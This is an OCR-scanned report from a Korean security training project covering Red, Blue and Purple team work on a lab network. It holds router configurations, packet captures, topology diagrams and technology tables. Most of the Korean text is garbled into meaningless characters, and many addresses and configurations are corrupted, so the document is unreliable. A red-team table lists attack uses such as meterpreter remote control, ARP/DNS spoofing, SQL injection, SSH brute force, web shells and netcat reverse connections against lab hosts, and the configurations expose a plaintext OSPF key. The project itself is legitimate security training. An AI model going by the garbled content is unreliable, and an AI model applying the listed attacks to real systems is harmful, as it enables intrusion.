OI0IE Z=XE SJH1AM

TEAM S-Core.
2025.08.11.

Blue
Purple

Red



2N Hz FN-002

+3L 2025-08-11
HIOIXI 2/ 9

oo E2ME ZHNME TIA e 1
e N 5
TH ERHEE TR oo 5
LE) ERBIE QT oo 6
CH EEHEE AL ittt ettt sttt s sinsi 7
BH) HRHE 7|2 BJAE oo 8
M) HIEQ T Z]8 BlA E 8
L) ME] I8 A E e 10
E) HOF T B A E e 12
B) BOIBIZ T BIAE e 13
CHIER I ZIE 14
7H HIEQ T LA it 14
) EB| FA I 14
L) B LA oo 15
LP) THE 718 B s 16
1) FLOJ B e 16
) ELAE ottt 22
) KJAE coeeeeeeteme et 24
1) DIMIZ -+vveeeeseeseesensess ettt 28
B) BEH|TEGE o 31
) B BIAR et 33

A) IPUB  woeeesesesseseses ettt 35



ZA H=z FN-002
+3L 2025-08-11

HIOIXI 3/ 9
3. A FE B s 37
TH MEL A e 37
T) | B B 37
L) EIO|EfH O] A LR oottt ?
) AJBH T @ oo 39
(1) SBHIH T e 39
(i) MHIA TRFIE] TEL oo 39
LE) A B B s 40
1) DINS  vererseeesersees ettt 40
) VWD cveeereeemem ettt ?
) WEBHAIA -+ verereeeeeses et 42
) DBIMIS  +rrereeeseeseeseesertstss ettt 43
E1) SEOFAQE «++orvssreressseessssssssss st sttt s 44
BE) MIQL ooovereeeeesee e 45
A) BACKUP  +oerreeerereesem st ?
©) ELK +ereeereeseesses et ms ettt 47
4. QLB TZ RFS S} e 48
TH e BB 48
T - S T O TS OO ?
CH MBE{/HIEQT AKX ZIF o ?
B, B Ok R s 51
7hH FQHHEMI|HE A F UM BAM e 51
T) F QBT I 51
L) FT THM s ?
LE) EIQUEFK]AAE] ((GIEM ) crooeeeereeririesii e 54
CH SOAR T8 Bl Z ] s 56
1) SOAR BB D correrttt ettt 56
L) B2 T AER B BEFR] oot 57
E) D2 ZEK] L BT J|E e 58
E) KHEE HEO] ZEK|  ceeoeeerrerssemeet e 59



6.

**

2N Hz FN-002

& 2025-08-11
HIOIX| 4/ 91
O) CFE HFO] AJAED T o 60
H) HHO] AT G KFEE BRI coveovereeremremreie e 61
A) B AR BQl oo 62
0) E|Z AFEH creoveereerseeteeee s 63
KIE B AE ZI} oo 64
7H HE HAE BERF ottt sttt 64
L) BEE HAE ALEEIE ittt 65
M) LHEL EE CRA| 1 o 65
L) LHEL EE TR 2 oo 70
E) LHEL EE TR 3 o 74
2) LHEL EE TR 4 oo 75
0) DB CHAF FIE DI vttt 81
H) SIEM CHAF EIE TR oo 86
CPH FAUB BAM FI ot 89
TEME 0|3 AFSE B JHMOE oo )
TH A A ?
LE) ZIZ] OJBH THTE o ?
CE) T O o ?
Bl E 91
1) RUIESEE DB «ovevoverevesimsiiimiiniiii s 91
2) TRQPEBEMI|GE A DB oo 92

3) KRS ZF DB covoereeeesemeieieie 92



2N Hz FN-002
>3 2025-08-11
HIOIXI 5/ 91

o3 &
ZR2HEY laC(ZEY QZZhE &80t Qlzzet B ot ofF[EX =
ZZ2HE 7|7t 2025.07.28. ~ 2025.08.08
- ChYst 2t Z2EES 8% 8 HEQA & #4d
- 2|52 MH 7|EF MRTG, cacti, monitorix A|lH|AS S8t AA|Zt
Edg 2L HY
g -H 9 27 My Axo2 8 MUY HojH 2f
ue " .
- HE= FH % MH 0|53t HAE &% H& 5+ MA oA
- Snort ‘EM 7|Ht HEQT Y A W 2ot DLHZ A[AH
T
- Ansible, Python2 &83t MH|A HX|-EH Xt=53t oHd 75
- 2F U 2o HACl BIE I3 HE HAE ALZIR =¥
mzde 25 - 34X YFOIM HAH ™ ALl 7|8 RoJsiA S S 2ot
HA™ =&
Red - 2ot 29 ghdo| Cis M&F HAEE &% U8 MA AF
- R HE 3 A 45 3 Ay AL F2 AlLt2|9o| tHAE
N
- 2of FH 9 g A st B7F ( OWASP 10 7|8H)
- OOPMES AFESHY 2f FH| FHYH FH Xtsat
- HESZ 22 % 2 Mol Mol zutd AT
Purple - QIE/LHE/DMZ/EE|YASDM) ZH B2 MO HA 7=
- SOAR =
- HOMMH|O| ZOE ELK AECZ 7 5 24
- oo|W FEE &8 FHAYY 24 U 2ot X3}
- ansibleg 8%t MY HX| Xtz2t T2 JHY
ZEME N
S - HEQYA Z2EZEQ O &S}
2
T |- mot 22 Mo oBE 23
- Gl 34 AlLt2| 3 2ol M =32 ot 2otN A =&




=

2N Hz FN-002

S 2025-08-11
HIOIKI 6/ 91
Lh) Z2HE UH
oI X 20254 7¢ /7 8¥
XFAH
oH 28| 29 |30 | 31| 1| 2| 3| 4|5 | 6| 7| 8
1. A2

ozdME 7

Jlot
9o
Jal
0x

2. 8A4 Y 2=

HEHI 24 =

Mo 47 % 75

iE AlLtEle 24

w
[H
Hu
2
[m
A
o
=

HEHI H2E

MH HXAE

E8 HAE

<F9|>

= =M =0l 5P oG

i e Ha|E Mg BZOIMD AL
JROIAC REH HT, A, 3 YL 2YOE AT,
HESATY, 9 rEE, SO D BEARY Mo wMT & st




EAM Bz FN-002
A 2025-08-11
MIOIKI 7 / 91
Fo|Y |- w= Y HEYIAY HVS S 7R UEYIAY 75
HSRPE &%t HEHA FH| 0|53t
VLANS &3t MH HERA £&|
=A} ot S 3 LFE QEZfH 8o
AL LR O AtESHE LIS HIYMH =
Zt MH|A 5! DB H1Y MH 3=
IPsec over GREE &%t Y@3HAtete| VPN HEY 7
FDE MHES Md=¢ XHE
X| A M O|E52tE Sot HAFE 7
DMZ 99| DNS HEE 20t £ Slave AlH 1%
NFS MHE =510 2|AF ZL|0|X] WAS A2EE|X| MHE ALE
CiYot 2 FHo=Z WE AHTEA SH
n7kBHS BRI Y3t HEYD Ty 0|FF
S HAproxyE &%t 17t8d 2|At ZHO|X| =
AL 2HO|X|e] AEE|X[& K|AFS| NFSAH{O|A 2HOLZ
DNS Master AH =
KAt HHALOA AtES e 2 HYeANH =
HE Yol d= 42 Hotst7| {8l VLAN AHE
aH o Portsecurityia s = ﬁEEjF +|5._
MRTG, Cacti, MonitorixE &&%t WESI A MH =
SIEM MH 3! SOAR A|AH =
IPsec over GREE &%t X|Ateto| VPN HEE +4
AL | - offset-list ZE{FS S3f LT NFS MH{2| M2 Hof
NFS MHE K eIst 2t2E HE =5 54 I {2 HY
RIPng AFESHY IPve 2t E T4
DHCPv6E Sdf LHE IPve T2 X HE X5 &Y
IPv6 Area » o >4
6tod E{EEIOZ |pve Y 7t HZA
IPsec2® &%t HE E= 79




2N Hz FN-002

>3 2025-08-11

HIOIXI 8/ 9

gh Z2NE 7|z 2|2AE

1) YE3A 7| g|l2E

=5 7= ALg =5 9 o Y
stLtol S2|d AfXE o2 =2 HEYIZE 22
VLAN HONHBEIHAE 0|9l 3
AKX 7F BRI K|
>TP WY H2 SAGHEM BRCHAE A W
Frame-Relay =2|H 3| MDLCl) AHESH 7ty 3|M 7H
Ho|E<|o| o|&zt
FHRP 2t2H Ch2 Al At MY
. AR EcfE B o] MY =S
Switch
MAC & 7|dt 29 7|&
Port-security S8 ZEO dAY £ A= MAC F2 M
SO S WX 2ot Lot
AQK| & Ezfm ojal
sPAN S meol saus wu oE 2z B
CHE ARIXI2 Eoid 0|2
RSPAN o2 AQX] 7t EBfT 24 Al AE
T VLANO| 033 EgfE 40 S
IPv6 IPv4Q| FA 1z 2 siZ H =YY 2
static e[t 2t Y 42 E A XEotol 2R 28y +u
+& H5Y . F1g HESZ tjds Y= HE2 1
offset-list : F1g HEYI hY2| metrice T7t5t0] 4=
RiPv2 eH9 =
RIPng : IPV6E I3t 2IRE ZE2ES
distribute-list : 228 HEE X2 38 4%
EIGRP offset-list : 228 HE X3, 518 *e*xo*gil AHE
prefix-list : ACLM B EHIZ50 Zi/=4lg HEQJIE HustA
Routing a2l
Virtual Link Backbone(Area 0)1f &F GIAL|X| U2 AreaSs =2|HLE AHA
Stub =2Zas QY ZE XCHE 83 ZE AHHIHFY)
9IE 2teY HHEE LYE OSPFZ HYE = UAXZE 5| 83l=
NSSA Stub Y2, 2/ HEE Type 7 LSAZ D50 ABRS Edf

OSPF

Backbone@ 2 MEISICE

neighbor 2I&

£d 30N 21T Hash i ALE

9ol Lf 2E 2t9E 7+ 219Y Muo| RAMI MM
area 913 | BEI| o) ABE D, YBE AF MO MH HAS
Bl o 28
XH 2 Ct2 2198 m2E= 7to] He w2 JseH &




2N Hz FN-002

>3 2025-08-11

HIOIXI 9/ 9

1) YEYI 71& 2AE

g8 7% A 2% U FH uwy
PAP PPPEIEOAN BECE 3|M 21T 7=
PPP
CHAP PPPEtZO|A md5E O|&%t 3|M QT 7=
AH 5 A|AHIO| &4Al5l= |p TfZI0| Cfgt 224 9 2SS
o} HBstD, Y3t X BJoHX| Y= Z2ED
it =
ZEES < TZ00) et 7| 2UNg@ASHS KB TRES
2 olF U MMl SAY MHAS B
transport | HO[2EDH 25t I A& P &H FX|
oSl B E
tunnel A o2l =3t ME2 IP ST =7t
DES DES= IBMOJA| IOE[O] NISTZt O BE &% YIEELZ
MEd=l O Loz 2na|Fo|Ct
A3t 2B 3DES DES 33| Mg, =0t U3t
AES g U3t B 128, 192, 256H|E X| Q. #2 Hsit =2
IPSEC HOMM HE. 820 AAl VPN & IPsec FHOM 7|2 AL
Pre'lf:are"' AF BOE HY 7|2 O
y
O|= H}Al RSA rul Ot & HEAI pN| k=1 =2
o on . _c'>_7H7| I:Iggl' = I:H05’| E—%l' A| )\l'o
Encryption
RSA T gxe e o oz yz
Signature
SHAl mds | 12881 SHA 3t M4, WEX|E 55 A US
oFT E—IE
= = sha SHA-1 EE= SHA-2 A|2|= AL, IPSecOlM 7|22 2 ALE
Diffie-Hellman 2 1024-bit key length A, 7| w0 ALEE.
ssh A HE0| AHE
7|t DHCP P FAE X502 oY
NAT FAHG




2N Hz FN-002

>3 2025-08-11

HIOIXI 10 / 91

L) MB 7|2 2|AE

£z 7% A B U Y w
Q& 371 DNSQt LHE QIEZtH DNS &2
Master / Slave X2 17184 otE
e ZIHE 2Xt =M|Ql : core, s-core
Network DNS )
ex) ns.core.it, br-nfs.s-core.it
L& HS7H 2A =02l @ hq
ex) hg-mail.hqg.it
NginX F¥e d4 21 Ho|x| #+=
DMZ WAS T3
Apache L e -
CMS ZC= L8 NFS MHOIA mount Tl
WordPress Z|At Z2HO|X] MZE Al CMS 2&
Web
HA Proxy WAS O|&3} 4oz 171ed ==
Pydio DAL S BAALRtS| XtE SRE HStE 2FHM
Roundcube oY 7l ol Y SE0|HE
Source A|H{ / Replica Al 822 17184 2t
7t2d Mg DB: 21 £ DB / RuleSet DB / SOAR DB
MariaDB
DBMS T8E DB : 2JF SERENM FEE HHEECE ME
phpMyAdmin GlolEHlo]A B2 W AN} GUI K2
NES NFSE 0|8%F WASAH AEZ|X| 57
EHAL WE oY 37
Storage ISCSI 3|A ZHO|X| Master EH 37
raid 1+0 (O|HE +AEZfO|T) FAHOZ EAF AHO|A]
RAID ( S) TS

17tgd 9 HojH etgd =E




2N Hz FN-002

£ 2025-08-11
I/ [0]PN! n/ 91
L) AH 7|& 2|2AE
=5 71& Ag 25 U 7H wy
. MH 2lAaA BLEHE =4
Monitorix .
DLEZ MH : WAST, WAS2 AMH, E-Mail AH{, DNS AH
SNMP MRTG SNMPS} IS8l AEsts WEYD E3fT 2LHE =7
. HEYI =UHE 77k DMZ, AL, XA 717H
Cacti ' !
Elasticsearch | ElasticsearchE O|&d| 29| 5% +3
Monitoring 23 3 HOo|HE T} st Aoz I3 =
Logstash . ot
Elasticsearch0f] X
ELK Kibana ElasticsearchOf K& E HO|HE AlAXHo=2 BH
AARIZD Y ofE2AOME 2O S ZLEHEY
Packetbeat . o Ax N
BLHZ o HEZ =8I Logstasho &
Filebeat HYE| D AEs A MH|AL ip, ZE SO oEf ZLHY
Heartbeat F8 MHASO| 7H8d ELHE
postfix SMTP Z2EZS AME%= OE 4 MY
Mail
dovecot IMAP Z2EFZ AM8SHs O =4 MH
iptables 7|Hto| BISIHO 2 Ubuntu AIEHAM AL
UFW Network LabOA ALESH= MHIASE 38 B AMESHX| Qs
EZE KT (ufw allow 22 / ufw deny 80)
MH| HotZ 2[sf 2atHE 2435t 0 SSH, DNS, HTTP &
. 23t MH|ADE 518510 259 EEQt M2S XL
Firewalld ¢ l-cmd —oubli d4d 2>
Security (firewall-cmd --zone=public --add-port=22/tcp --permanent /
firewall-cmd --list-all)
. SSH 201 Al 33 O H|ZH= AHo| MIfSIH siY IPE
Fail2ban ol %4
U™ A|Zh KpEE
FEZ|, #z0f, oJdAZR OiYUO|L} 7 HXEE EHX|SI0]
rkhunter | ° Loyt °
HY &g 7|0 gHstn ofS
Backup Rsync T2 MHA 2% ot 8 273 Backup




2N Hz FN-002

A 2025-08-11
MIOIXI 12 / 91
25 T& Mg EX 3 73 W
ASAv QEOM HIZsle EfT NOE Qo ot Hx MY
HOt FhH| pfsense Snort?} Suricata AF2310] SOAR ZZ21280| ofs H|™HAF TjZ] X}t
security onion | U E3 HEH IHz EX| £FM
firewalld
SOAR EZ1Mo|M EX|E W HEZS HIFEY m2lQl srciip ¥
Al KFE
HOb MH[A ufw
SOAR AE HolEl YAE2R0| et Ahs3tE ee &
IDSOI|A HIE& T2l B
snort M HIAR T2l
o3l Etx| IPSOIlM= H|IH T2l drop
MH|A
suricata H-IDSE Solf HIEd Tzl EHX|
logstash 2 OLEHH|O| A filebeatZ 2 2Z1Z logstashZ #S
21 3
filebeat E2{Y HOo|HE #%3I0] ELK (Logstash) & &
| ZEHE FUH™ HAZL HE Y soarm213 27 HZ Snort /
mys
ysa Suricata 24 MZ!
qE ME
elasticsearch e Hot 28 N
A Z+s} kibana elastic Off &=l HIO|E{E A|ZstNE|sl CHA|RER 75




2N Hz FN-002

>3 2025-08-11
HIOIXI 13 / 91
2) Bolsi 7|= 2|2AE
=F 7= M 7= HEg U&
dig 3lAF F S74& DNS M & S8 pTR &5
Gathering dnsrecon | Z|AF L{/Q] DNS BHEZE, MEEZHQ, 949 Fo| HE &
Information | dnsenum | Z|Al W/2| zone transfer A|E, DNS H3E, MEZHO =5
tepdump | U & MHS| 24 FF ALE
arp-scan | 2Z FHO| ARP 7|8t ZAE Gl MAC F4& =%
wafw00f | 2[AF LH/2| & MH Ciael @ ot EX|
Scanning 5AF Lj/2| YEQR SAE AZH 9l WAS, DB, SSH ZE
nmap e
ffuf W& & MHE ez 2a|Xt, 5t Ho[X| A74d
nmap Li £ WAS, DB, SSH AH|A 59| FfH Tl
Discovery nessus L5 WAS, DB, SSH AMH|A 8l S AEQ| FOFH XTI
Vulnerability | sqimap | U5 2 Mt % &X DBO| SQL Injection 324 #UH ZIct
nikto e & MH Cied o™ T
hping3 iHT 755 CHA Ol DMZO| 37§ WASO DoS 534& &¢t
| Z4F
xE msfvenom | EH| PCE ZA|7|7| 2T 2d Payload 44

HAE umbrella | At2|S st H YO HIj ofd LY (PDRS 4

metasploit | meterpreter2 FH| PCO| 2|HA A 2tA Ko X =7t 34

=
FYUALE PCEHI POOIA G222 A QA3 HMols

x11vnc ax
ettercap | AFFA 2| ARP, DNS AFE T
L= o Mo 239 HO[X|o MY AfO|EE P=3im
set AFRA R0l pCOjM HaTH AMS =3
Exploitation LHE & AB{o| 2|kt Eo|EtS E3f JS ATZEE QLYY
Xss THE|XE MM ERE BE|Rte 200t ZE MM
5 olERI HMa Al

burpsuite | IntruderE Sdl 22Xt MM = LY
1|

b shel | U AfHO] BRIXto] ARE HOXIE S ¥ 4 Y=E
web shell | o 4 o
netcat YEEsh @ A2 S8 SAXOA 2lHa 2 2HE dd
hydra 2R Y SIEM MHB| PC2| SSH MAQIE F2fE A=
privilege | Lt ALEXIE A|2BIO| FH2TH F Ol race condition S4S
escalation | 1%t C ZEE AHd = '_"JOF ”A
B /8x | BH 79 SIEM Mo a|xt Hstez 2ot 22 A,
o 23 | HF oY XX 59 21 YME




2N Hz FN-002

>3 2025-08-11

HIOIXI 14/ 9

2 HEYA 75 2
7h HEHI FYE
1) =8| 8k

MN-SW-0149 2 7t —
Vianzo) b | OSPF 1 AREA 1 - T
- o 10700/16 - R-02
PT-5W-01
1002 128 129.128 /28 10.8.120.130
@m0t /
RIPv2 /10.8.2.0 /25
1080.0/16 , /
/Y w0 B
. .8.3.126 /24y = 1083130
/10.8.3.0 125 @F—— G
10.7.3.4 ~
PI-R-03
S » JLXEREN
EIGRP 200 TR °‘\\ [©)
. 10.6.0.0/16 1064072 = 10.6.4.151
© 10.6.2.130 /26 e DM-R-02

1PV6 zone
2001::/64

28 /26

Area 3
10.3.0.0 /16

0. PT-RD / = 108.4130
10/6.3.134 DM-SW- mas\ 1084128 /I5~_p1-gu-01
10.6.3.1 y i 2 g 1084132
| 73 Du-sw-03 /
N e e, —
| 106313 VIP: 10.6.3.190 /26 _ — 7% - -
\ \ e 8. mnt —
- EIGRP 300
105.0.0 /16 \

|
or ] Tosaz
[ BR-R-01 BR-SW-01
&]D 5.1.0 /24
Gsrone 4/ X 10880/ \
BR-R-02ig) \@or-r-03

10.6.3.132

10.6.3.133

=0t
EIGRP 100

-R- N 10.5.10.0 /24
10.1.0.0 /16 10590243 / 0513
wnnam//L/ 0.1.30.0 /24 / BR-R-04
a-sw-01 5 Fua-sw-03 r
HQ —uz
GLBP \ BR-SW-03 BR_SW-06
VIP: 10.1.4,264 /25 B— 5
BR-S sn SW-05
Vianlo ianto
i 10.5.3.128 /25 an
HQ-SW- mﬂ} 10.5.6.128 /25
10.0.4.232 / \mum
£ Br-sw-o7
. 105610
10.1.4.133 10.5. A!ZB/ZJ/ 10.5.5.128 /25
104130 1014132
10.1.4.131 084130 10.5.5.130 —




2N Hz FN-002

>3 2025-08-11

HIOIXI 15/ 9

L) 22| 18k

1Pv6 zone 2
2 N
OSPF 1 AREA 1 —
e im0 M- P Core < o 2000/
- Monttorix ——_ 1074 DN *5-core.t \L2005:V/E4 _Fna
10.7.22 /24 — i “Eg / // PI-NES
_ . 108120130 25

MN-ELK
Z =t
RIPv2
108.0.0 /16
s—core.it
‘“va-“””ﬁﬂ} m 1083130 /25

PT-5W-02

~Jnvu/u vian S0
o502 wjzs,

0.8.3 131 /25

@Bﬂl'ﬂ/ﬂ

— EIGRP 200 i
DM-ID§
10563154 /26 e 10800116 - .
A & 15 J0.64:128 125 PT-R-0 j .
10.6.3.180 DM-SW \,‘““ R-02 10.6.4.128 AEp1-sji-03 _— _ 108413225
DM-DNS priority 110 T, 2
10.6.3.130 /2 Emgou-su-o3 B . ¥y —

os2ihe

— wﬁ?me o2 / ws\:o/zs

DM-Haproxy f;ii 1631286 10630 AT 4

10.6.3.151 126 10.6.3.64 /26 B
DU s s

[
(

nn

i 55 eomy EIGRP 300
| wssam BRI, 106.4.60226 Eiche a0
e e 4 DNS : s—core.t
20l 5352 126
DM-Webiara B e
10468153 26 — oo BR-R-0L moo

10.6.4.130 /26

105.1.2 /24

"S10560/20 \
‘e}an R-03 g
10.5.1.4 /24

10.5.10.0 /24
1059004 & //0 0 /24 10.5.1.3 /24

?’ BR-SW-02_~T05.5.181 /25
BR-R-0:

10.1.0.0 /-
DNS : ha.it "

10,1300 24

BpHa-su-os

10.110.0 /24

HQ-SW~ ozﬂ{{“*‘ ““W 0

P
Deistioy 12 s - |
, ’; — =

|105.6.120 725
|

|

10.5.4.128 /25" " 0.5.5.128 /25 BR-DB
10.5.6.130 /25

10.5.3.128 /25

BR-ISCSI

HQ-DB BR-DNS
10.1.4.131 /25 s
— p 10.5.4.130 /25 10.5.5.130 /25




2A B -
laC(IE olmane ggst | o oo | FN002
D3 @ Gk OPjEIY D oo 2025-08-11
— T T T TR | wow % 7 91

F0|Y MM HEHNI FHE

Ao
SPF 1 AREA 1
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IPv6 zone
2001::/64 )\
Al
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OSPF 1 AREA 1
10.7.0.0 /16
DNS : s—core.it

IPv6 zone 2
2010::/64

L:2003:

<t

Mg Ap

o
- I R2Ye FA4517| st OSPF Z2ZEES A2 (Area 0 ~ Area 4)
- Frame-relay 7|22 83 Area 00 &% 2tRHE Full-Mesh HENE AZSIO 2[MH[E HY,
OHE4E AL
- Area 0 7E0|M 213t 0|2 2t2E 7t neighbor 215 £
- 02 2tREH T 71 24+97t =2 DREIPEE XIF
7l& L&
c | Area 0 79 U ZIREHSS Full-Mesh HEfE AHZASIO] 3|M HE HZ L
rame-rela N
Y Ct5 22 28 Jts.
Virtual-link TO{Lat HOITl Aread 72 7Hol FIE AMBSIO AT AT
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7l 74
Q| x| Area 0 7l& neighbor® &

.AREA 1
0/16
s—core.it
10.7.0.0C/24
O_

serial restart-delay @

interface 5er1311 /0.123 mu1t1p01nt
'||. ad 1255 :
ip ospf authent1 tion

ip ospf authentication-key dong

ip ospf priority 255

snmp trap link-status

trame-relay map 1p 10.0.0.5 105 broadcast
trame-relay map ip ! 4 104 broadeast
frame-relay map ip ! 3 103 broadcast
trame-relay map ip ! 2 102 broadeast

Plaintext @I
key dona 751 2

S (Simple Password Authentication)

mae xERe==FsEEHaaq
| |Es =5 #E | «Cil-
Mo. Time Source Destinatic
1 26825-85-88 15:34:19.971689 18.6.8.5 16.6.8.1
2 2925-88-88 15:34:19.971089 18.8.8.5 10.8.8.2
3 2825-85-88 15:34:208.417848 N/A N/A
4 2825-88-88 15:34:20.418348 N/A N/A
5 2825-85-88 15:34:22.371443 16.6.8.2 16.6.8.5
6 2825-88-88 15:34:38.421782 N/A N/A
7 2825-88-88 15:34:38.421782 N/A N/A

Frame 2: 88 bytes on wire (784 bits),
Cisco HDLC

88 bytes captured (784 b:

Internet Protocol Version 4, Src: 18.8.8.5, Dst: 18.8.8.2

¥ QOpen Shortest Path First
v 0SPF Header

Version: 2
Message Type: Hello Packet (1)
Packet Length: 52
Source 05PF Router: 1.1.1.1
Area ID: 8.8.8.8 (Backbone)
Checksum: @xc223 [correct]
Auth Type: Simple password (1)
Auth Data (Simple): deng
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7] 4
2| X Area 4: CO-R1 2|= Area 9=

AR4-R-B1#sh run | sec ospf
ip ospf mes
ip ospf m

router ospf 1
log-adjacency-changes
area 4 authentication me

Area

A gsfof stoz

ge-digest-key 133 md5 zzxtqd
ge-digest-key 133 mds [

xtaqd

age-digest

AZS QoA BE a}-2E]o)A

PT-AR4-R-01,

No Time Source Destination
26 2025-8-08 14:01:05,244119 N/A N/A
27 2025-08-08 14:01:09,895008 N/A N/A
28 2025-08-08 14:01:18,703098 10.4.1.2 224.0.0.5
29 2025-03-08 14:01:14,339717 18.4.1.1 224.0.0.5

Frame 2: 124 bytes on wire (392 bits), 124 bytes captured (392 bits) on int
Cisco HOLC
Internet Protocol Version 4, Src: 18.4,1.1, Dst: 224.6.8.5
v Open Shortest Path First
¥ 0SPF Header
Version: 2
Message Type: Hello Packet (1)
Packet Length: 43
Source OSPF Router: 3.3.3.3
Area ID: 0.0.0.4
Checksum: @x3000 (None)
Auth Type: Cryptographic (2)
Auth Crypt Key id: 133
Auth Crypt Data Length: 16
Auth Crypt Sequence Number: 1754655013
Auth Crypt Data: eflaSde753e88d07c3e7faed3103a89f

Protocol
SLARP
SLARP
0PF
0SPF

0SPF Hello Packet
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SIX| Area4 2|= Virtual-link

20010::1/

CO—-R-01
s L:2003::

24
J—MN—-R->01 s1/0

10/0° =g

7 e, 0 /16 0\ e n ARSTRTO

s1/0
—R—-01==
s1/2

BR—AR2—R-01 «T€a 7

= Backbonedt A& HAZALX] 952 AregdsS =2]X oz A4

AR3-AR4-R-02#sh ip ospf virtual
Virtual Link OSPF_WL1 to router 2
Run as demand circui
, wia interface Serial3/2, Cost of using 64

Hello 10, Dead 40, Wait 40, Retransmit 5

1.1 is up

., via interface Serial3/1, Cost of using 64
i ik Cc, State POINT_TO_POINT,
Timer inte conf1gured Hello 18, Dead 48, Wait 40, Retransmit 5
Hello du 00:00:04
AR3-AR4-R-02#]

scribing to the pro nal edition here: ht no rm.mobatek.net

Aread<-> Area3 17F9] ABRY} Area3 <-> Area02 9= ABROJA] virtual-linkE A&
routet IDS 1.1.1.1 / 2.2.2.2 / 3.3.3.302 B39
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HIOIXI 20 / 9

NE 73

Virtual-link / NSSA

AR3-R-01#sh ip ospf virtual-links
tual Link OSPF VLO to router 2.2.32.2 1is up
kun as demand circuit
poNotAge LSA allowed.
ransit area 3, via interface Serial3/1, Cost of using 64
ransmit Delay is 1 sec, State POINT_TO_POINT,
imer intervals configured, Helle 10, Dead 40, Wait 40, Retransmit 5
Hello due in 90:00:09
Adjacency State FULL (Hello suppressed)
Index 2/4, retransmission queue length 8, number of retransmission ©
First Ox0(0)/0x8(0) Next 0x6(0)/0x0(0)
Last retransmission scan length is 0, maximum is @
Last retransmission scan time 15 0 msec, maximum 15 B msec
AR3-R-B1#]

> AR3-R0-010fA A

CO-AR3-R-02#sh 1p ospt virtual-links
Virtual Link OSPF VWL® to router 2.3.3.2 1is up
Run as demand circuit
DoNotAge LSA allowed.
Transit area 3, via interface Serial3/2, Cost of using 64
Transmit Delay is 1 sec, State POINT_TO POINT,
Timer intervals configured, Hello 18, Dead 48, Wait 40, Retransmit 5
Hello due in G8:80:01
Adjacency State FULL (Hello suppressed)
Index 1/3, retransmission gqueue length 0, number of retransmission 0
First 0x0(0)/0x0(0) Next Ox0(0)/0x0(0)
Last retransmission scan length is 8, maximum is @
Last retransmission scan time is @ msec, maximum is @ msec
CO-AR3-R-02#]]

> AR3-R0-020|A A

non
LT T

11}

1
i
1
il

1

il
oottt
]
HHHHH
[
[

i)

1
i
1
il

i
1
o

> Aread NSSA 47X X2

Gateway of last resort is 10.4 1 to network ©.08.8.0

5/8 1s wvariably subnetted, 12 subnets, 3 masks
.8/17 [118/1] via 10.4.2.2, 14:43:51, Seriall/?
3.1.0/24 [118/1] via 1 3. 2.2 14:43:51, Serialiy/2
3.1.8/24 [110/128] via 190.4.98.1, 15:37:32, Serialise
.8/24 [118/192] via 10.4.9.1, 15:-37:32, Seriall/e
3_3.8/24 [116/128] via 10.4.08.1, 15:37:32, Seriall/e
3.2.8/24 [118/192] via 108.4 1, 15:37:32, Serialise
2.9/24 1is directly connected, Serialil/2
/24 [11e7128] wvia 1 | 1, 15:37:32, Serialiyse
.4.0.8/24 is directly connected, Seriali/e
| 5.86.8/24 [118/1] via 1 1.2.2, 14:43:51, Serially2?
N2 ie.5.0.0/16 [110/1] via 1 1.2.2, 14:43:46, Serialiy/2
1@ /24 [110/128] via 10.4.2.2, 15:37:22, Serialiys?
[116/128] wvia 10.4. 1, 15:37:32, Seriali/e
0*N2 8.06.8.8/0 [116/1] via 16.4 1, 15:37:36, Seriali/e
AR4-R-01#]

(=H=H=Bal=Nol=N=}=§=§=01=]

> NSSA HE8 =
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Virtual-link / NSSA

CoO0COoONoOooOoNOoOoOo0000000000000

o0
o0
o0
o}
o0
4] W Lia
A

R4-R-01% I

S5 M8 ™. QEEEH &1 22 02 HEJ O N2E HUE

Type-7 AS External Link States (Area 4)

ADV Router Age
10.8.1.1 21
26
81
81
81
81
81
81

10.8.4.128
AR4-R-01#f

LSA Type 7 &9l

Area 42 NSSA (Not-So-Stubby Area) 2 F+4E[0| U
22 H7| Z/O{UTE 25 H2E0| Type-7 LSA HE{Z

Seq#

Ax80000002
Qx8000000 1
QxB000000 1
A=x80000001
QxB000000 1
QxB000000 1
A=x80000001
QxB000000 1

Checksum
BxBRE172
BxB00371
GxBeD39C
Bx00I(

xeeCo2ZD
0xB0BBE1
BxBBB537
Ox00B0EB

o)
=
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=i HEYI FHE

- e
g e
,,:“%,@» ../n DM-R-03

DM-SW—-02 10.6.4.129 /26

/ﬂos
ﬁ' 10.6.4.129 /26

—SW-02

=
EIGRP 100

=t

EiGRP 100 : 10.1.0.0/16  HQ-R-01
10.1.0.0 /16 HQ- F 01 m DNS : ha.it ﬁ"v/
101 100/2%2J0/N1 30.0/24 101100/2%2#. ‘/Nl 30.0 /24
HQ-SW-03
a-sw-o1 Y & Fa-su-03 HQ-sw- 01% HQ%’ 02 ?33

10.1.4.: 200
priority 12

10.1.4.201 .1.4.
priorfity 110/ priority 100

VIP\: 10.1/4.254/25

HQ— W*OZ

GLBP

VIP: 10.1.4.254 /25
I

HQ-SW 04% B
10.1.4.232 // \\10,1#1.134

10.1.4.133

\ 1/
""""

0
T
P e HQ—DNS
HQ-IDS 10.1.4.134 /25,
10.1.4.232 /25
“a

HQ-Backup /- - HQ7M5;11
10.1.4.130 /25 - HQ-ISCSi 10.1.4.133 /2
Ho-DB 10.1.4.132 /25

10.1.4.131 /25

10.1.4.130 2 10.1.4.132

10.1.4.131

M5 Arg

40
om
1

A HEQIFE= 10.1.00/16 =4 Y A, EIGRP 100 E2}RE Z2EES2 S L 2t

o2 rHI

- GLBPE Sl 3CHe| L3 AX|ZH HO|EQO| O|F3 W 2= HWHAN 74
- HQ-SW-04& ZtE MH (DNS, Mail, DB £)2} IDS7F 4 Kg| \
- DNS EHQI2 hgitez MHEL0 UAS

& LH&

Autonomous System 1008 AL, F8 2tfE Z=zEZF, WE o F¢0

EIGRP e
10

GLBP VIP: 10.1.4.254/25, SWO01(120), SW02(110), SW03(100) ®M=¢l2 473

HQ-R-01 2t 1_ fSense st (IH Yl M), HQ-IDS= 10.1.4.233 ¢
ASA / Pfsense / IDS e




S M -
laC(ICH omans zes | o oo FN002
olmat I wiot OI[EK = A%l 2025-08-11
==E = Es N T HIOIX| 23 / 91
g 74
HQ-SW-01
Lk HQ-SW-02 7|& GLBP
HQ-SW-03
e . ——
,%fmgi r26

—SW-—02

=
EIGRP 100
10.1.0.0 /16

HQ—R— 01/” zi

101100/2%240/N1 30.0 /24

HQ—SW—01 §

A HQ—SW—03

i ’!:\\ !

10.1.4.133

10.1.4.132

192.168.203.233 /24

BR

c416.C

c4lg.

c412

cd417.
oear.

b400.0a03

Dynamic
